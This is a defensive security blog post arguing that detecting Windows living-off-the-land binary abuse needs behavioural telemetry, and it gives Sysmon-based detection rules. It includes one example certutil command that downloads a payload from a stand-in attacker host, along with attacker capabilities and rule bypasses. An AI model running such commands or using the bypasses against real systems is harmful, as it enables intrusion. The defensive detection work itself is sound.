Garet P.
Blog
Hub

LOLBAS Detection Is an Architecture Problem, Not a Signature Gap

The binary is signed by Microsoft. The process is legitimate. The parent is expected. Your EDR just watched a full intrusion chain execute and flagged nothing, because every tool used ships with Windows.

// introduction

Why LOLBAS Is a Detection Architecture Problem

LOLBAS, Living Off the Land Binaries, Scripts, and Libraries, refers to attacker use of OS-native and pre-installed tooling to execute malicious activity while blending into legitimate administrative behavior. APT29 used mshta.exe, rundll32.exe, and wmic.exe extensively across their documented campaigns. The Lazarus Group has LOLBAS usage cataloged across multiple financial sector intrusions. These are not edge cases, they are the operational standard for sophisticated actors precisely because they defeat the most common detection layers simultaneously.

The core problem is structural: signature-based and hash-based detection is architecturally useless against LOLBAS. The binary is legitimate. The hash is known-good. The vendor certificate is valid. This is not a gap that better signatures can close, it is a fundamental limitation of the detection model. Signature detection assumes the malicious artifact is distinct from the benign artifact. LOLBAS eliminates that distinction entirely. The artifact is benign. Only the context is malicious.

Why LOLBAS adoption keeps accelerating: EDR maturity has made traditional malware deployment expensive. A custom implant requires development time, evasion investment, and generates hashes and network indicators that threat intelligence will eventually burn. LOLBAS requires none of that. The tooling is already on the endpoint, already trusted, and already generating traffic that blends with legitimate administrative noise.

Scope

This post covers Windows-native LOLBAS with cloud control plane parallels in the final section. The methodology is EDR and SIEM agnostic; specific examples reference Sysmon Event IDs as the canonical telemetry reference.

// foundation

Why Signature Detection Fails: the Structural Argument

Signature detection models: hash matching, YARA rules against file content, AV vendor signatures, EDR known-bad heuristics, all operate on the artifact, not the behavior. LOLBAS defeats each layer for a distinct reason:

"Signature detection asks: Is this artifact known-bad? Behavioral detection asks: Is this behavior consistent with legitimate use in this context? The second question requires far more data, far more environmental knowledge, and it is the only question LOLBAS forces you to answer."

// technical

The LOLBAS Attack Surface: a Practitioner Taxonomy

Not every native binary is equally exploitable. The attack surface concentrates in binaries with capabilities attackers specifically need: execution, download, encoding, lateral movement, and discovery. The LOLBAS project catalogs 150+ binaries, but the operationally important detection set is the 15–20 that appear repeatedly in real intrusion chains.

Binary
Attacker capability
MITRE ref
certutil.exe
Decode Base64, download files, install certificates, a downloader and decoder in one legitimate binary
T1140 · T1105
mshta.exe
Execute HTA files and inline VBScript/JScript, a full script execution engine delivered with Windows
T1218.005
rundll32.exe
Execute DLL exports, proxy shellcode loading, bypass application control via legitimate execution context
T1218.011
regsvr32.exe
Register COM objects, and execute arbitrary script via scrobj.dll, bypassing AppLocker and constrained language mode
T1218.010
wmic.exe
Remote process execution, local discovery, WMI subscription persistencem, full remote administration capability
T1047 · T1546.003
msiexec.exe
Execute remote MSI packages over HTTP, a legitimate software installer that fetches and runs arbitrary payloads
T1218.007
bitsadmin
Background file transfer, persistent, low-noise download mechanism with built-in OS scheduling
T1197
powershell.exe
Encoded commands, AMSI bypass, .NET reflection, in-memory execution, and remote download, the canonical LOLBAS
T1059.001

// technical

What Telemetry Behavioral Detection Actually Requires

The telemetry hierarchy below is not a wish list, it is the minimum required to build detection that isn't trivially bypassed. Each layer adds capability the layer below cannot provide.

L1

Process creation events: Sysmon Event ID 1

Minimum required fields: process name, full command line, parent process name, parent command line, user context, integrity level, image path, process GUID. The command line field is non-negotiable, certutil.exe run by an admin is normal; certutil.exe -urlcache -split -f http://attacker.com/payload.exe is not. Many SIEM pipelines strip or truncate command line arguments at ingestion to reduce storage cost, destroying the primary detection signal for LOLBAS entirely.

L2

Process access events: Sysmon Event ID 10

Detects when one process opens a handle to another, essential for catching rundll32 and mshta used as injection proxies. High noise source: legitimate software generates enormous process access volumes and requires aggressive filtering before ingestion.

L3

Network connection events: Sysmon Event ID 3 + DNS (Event ID 22)

Correlates process identity to network activity, catches certutil.exe, msiexec.exe, and bitsadmin making outbound connections. Native Windows binaries initiating outbound connections to non-Microsoft infrastructure is anomalous in almost every legitimate context. DNS query logging adds resolution-before-connection context that IP-only logging misses.

L4

Image load events: Sysmon Event ID 7

Records DLL loads by process, essential for detecting scrobj.dll loading via regsvr32 or anomalous .NET assembly loading via PowerShell reflection. Extremely high volume, most deployments filter to unsigned or specific DLL names only.

L5

PowerShell script block logging: Windows Event ID 4104

Captures the actual script content after deobfuscation, the single most valuable telemetry source for PowerShell-based LOLBAS. Must be enabled via Group Policy, it is off by default and frequently missing in enterprise deployments. AMSI telemetry captures script content before execution including encoded and obfuscated payloads after runtime deobfuscation.

L6

WMI activity logging: Sysmon Event IDs 19, 20, 21

WMI filter, consumer, and binding creation events, the only reliable telemetry for WMI-based persistence and lateral movement. Frequently absent: WMI event logging is not enabled in default Windows configurations and is missing from many Sysmon deployments.

// technical

The Parent-Child Relationship: Primary Signal and Its Limits

Parent-child process relationships are the most commonly used behavioral signal for LOLBAS detection, and increasingly unreliable as attackers adapt. winword.exe spawning powershell.exe is a classic detection. Legitimate Word does not do this. A malicious macro does. But this detection model has well-documented bypasses:

Parent-child detection is necessary but not sufficient. It catches opportunistic and commodity attackers. It fails against targeted adversaries who understand the detection model. What is required beyond it: command line analysis, network correlation, behavioral baselines per binary per user, and multi-event sequencing.

// detection rules

Five High-Value Detection Rules with Rationale

Each rule below includes the known bypass, not as a caveat but as a signal that no single rule is sufficient. The detection model requires multiple overlapping signals.

Rule 01 certutil.exe network activity
Logic
Sysmon EID 3
  Image: "*\\certutil.exe"
  DestinationIp: NOT IN microsoft_cert_infrastructure_ranges
Rationale

certutil has no legitimate reason to connect to non-Microsoft infrastructure in standard enterprise use. High-fidelity, false positive rate is very low in managed environments.

Known bypass

Attacker uses -urlcache to download from a Microsoft-hosted domain (Azure Blob, GitHub). Rule requires extension to monitor destination domain reputation, not just IP ranges.

Rule 02 Encoded PowerShell command execution
Logic
Sysmon EID 1
  Image: "*\\powershell.exe"
  CommandLine: CONTAINS "-EncodedCommand" OR "-enc"
  ParentImage: NOT IN approved_management_tooling
Rationale

Legitimate automation rarely requires encoded commands. Encoding is primarily used to obscure malicious content from command line logging.

Known bypass

Script block logging (EID 4104) captures decoded content, supplement with script block content analysis for coverage against encoding variations.

Rule 03 mshta.exe executing remote content
Logic
Sysmon EID 1
  Image: "*\\mshta.exe"
  CommandLine: CONTAINS "http" OR "https"
Rationale

mshta executing local HTA files has legitimate use cases. mshta fetching and executing remote content has effectively none in managed enterprise environments.

Known bypass

Attacker hosts payload on an internal compromised server. Rule requires network reputation context for complete coverage against internal staging.

Rule 04 Regsvr32 scriptlet execution (Squiblydoo)
Logic
Sysmon EID 1
  Image: "*\\regsvr32.exe"
  CommandLine: CONTAINS "/s" AND "/u" AND "http"
Rationale

regsvr32 with a remote scriptlet URL is a documented AppLocker bypass with no legitimate administrative use case. This specific combination has an extremely low false positive rate in managed environments.

Known bypass

Variation in parameter ordering or use of short flags. The core indicator, remote URL in regsvr32 command line, remains consistent and should be the primary matching criterion.

Rule 05 wmic.exe spawning shell interpreters
Logic
Sysmon EID 1
  ParentImage: "*\\wmic.exe"
  Image: "*\\cmd.exe" OR "*\\powershell.exe" OR "*\\cscript.exe"
Rationale

wmic spawning a shell interpreter is a lateral movement and execution pattern. Legitimate wmic usage for inventory queries does not spawn child processes.

Known bypass

Parent process spoofing. Supplement with WMI event consumer telemetry (Sysmon EIDs 19–21) for persistence-specific coverage that bypasses process tree inspection.

// remediation

What a Mature LOLBAS Detection Program Looks Like

The gap in most LOLBAS detection programs is not the rules, it is the telemetry the rules depend on that was never collected, the baselines that were never built, and the reduction work that was never done to make the signal tractable.

Non-negotiable telemetry requirements

Reduction work before detection is possible

// conclusion

Behavioral Detection Is an Infrastructure Investment

"Writing a LOLBAS detection rule takes thirty minutes. Building the telemetry infrastructure that makes it reliable takes months. Most teams have done the first and skipped the second."

The gap is not the rules. Rules are cheap. The gap is the telemetry pipeline those rules depend on, the command line fields that got stripped at ingestion, the script block logging that was never enabled via GPO, the WMI event IDs that were never added to the Sysmon config.

The closing question worth running right now: if you executed an Atomic Red Team test for mshta.exe fetching a remote payload in your environment, would your detection fire? If you do not know the answer with confidence, that is the gap. The rule may exist. The question is whether the infrastructure beneath it works.

Key references

LOLBAS Project (lolbas-project.github.io); Atomic Red Team (atomicredteam.io), test IDs for each binary covered; MITRE ATT&CK T1218 sub-techniques; SwiftOnSecurity sysmon-config as reference Sysmon baseline; Palantir Alerting and Detection Strategy framework.

All posts